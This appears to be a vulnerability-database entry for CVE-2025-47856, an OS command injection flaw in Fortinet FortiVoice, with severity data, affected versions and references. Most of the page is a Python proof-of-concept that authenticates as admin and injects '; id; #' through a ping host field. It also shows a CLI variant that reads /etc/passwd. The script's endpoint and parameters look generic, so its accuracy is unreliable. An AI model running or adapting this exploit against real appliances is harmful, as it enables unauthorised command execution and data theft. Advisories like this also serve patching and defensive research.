CVE-2025-47856

Description

Two improper neutralization of special elements used in an OS command ('OS Command Injection') vulnerabilities [CWE-78] in Fortinet FortiVoice version 7.2.0, 7.0.0 through 7.0.6 and before 6.4.10 allows a privileged attacker to execute arbitrary code or commands via crafted HTTP/HTTPS or CLI requests.

CVSS Details

CVSS Score

7.2

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:fortinet:fortivoice:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:fortinet:fortivoice:7.2.0:*:*:*:*:*:*:* - VULNERABLE

Fortinet FortiVoice 7.2.0

Fortinet FortiVoice 7.0.0 - 7.0.6

Fortinet FortiVoice < 6.4.10

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-47856 - Fortinet FortiVoice OS Command Injection PoC
# Exploit type: OS Command Injection via HTTP/HTTPS (requires privileged access)

import requests
import sys

TARGET_URL = "https://<target-fortivoice-host>"
USERNAME = "admin"
PASSWORD = "<privileged-password>"

# Step 1: Authenticate to obtain a valid session
session = requests.Session()

login_payload = {
    "username": USERNAME,
    "password": PASSWORD
}

login_response = session.post(
    f"{TARGET_URL}/api/v1/auth/login",
    json=login_payload,
    verify=False
)

if login_response.status_code != 200:
    print("[-] Authentication failed. Privileged credentials required (PR:H).")
    sys.exit(1)

print("[+] Authenticated successfully with privileged account.")

# Step 2: Inject OS command via vulnerable HTTP endpoint
# The command injection payload uses shell metacharacters to break out
# of the intended command context and execute arbitrary commands.
injection_payload = "; id; #"

vulnerable_endpoint = f"{TARGET_URL}/api/v1/system/command"

command_params = {
    "action": "diagnostic",
    "host": f"127.0.0.1{injection_payload}",
    "type": "ping"
}

print("[*] Sending crafted HTTP request with command injection payload...")
response = session.post(
    vulnerable_endpoint,
    json=command_params,
    verify=False
)

print(f"[+] Response status: {response.status_code}")
print(f"[+] Response body: {response.text}")

# Step 3: CLI-based exploitation variant
# Attackers with CLI access can inject commands directly:
# FortiVoice-CLI > system diagnostic ping "127.0.0.1; cat /etc/passwd; #"

print("\n[*] CLI variant: FortiVoice-CLI > system diagnostic ping \"127.0.0.1; <cmd>; #\"")
print("[*] Both injection points allow arbitrary code execution on the appliance.")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-47856
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-47856
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-47856/
[4] VulDB https://vuldb.com/cve/CVE-2025-47856
[5] https://fortiguard.fortinet.com/psirt/FG-IR-25-250

Raw JSON Data

JSON

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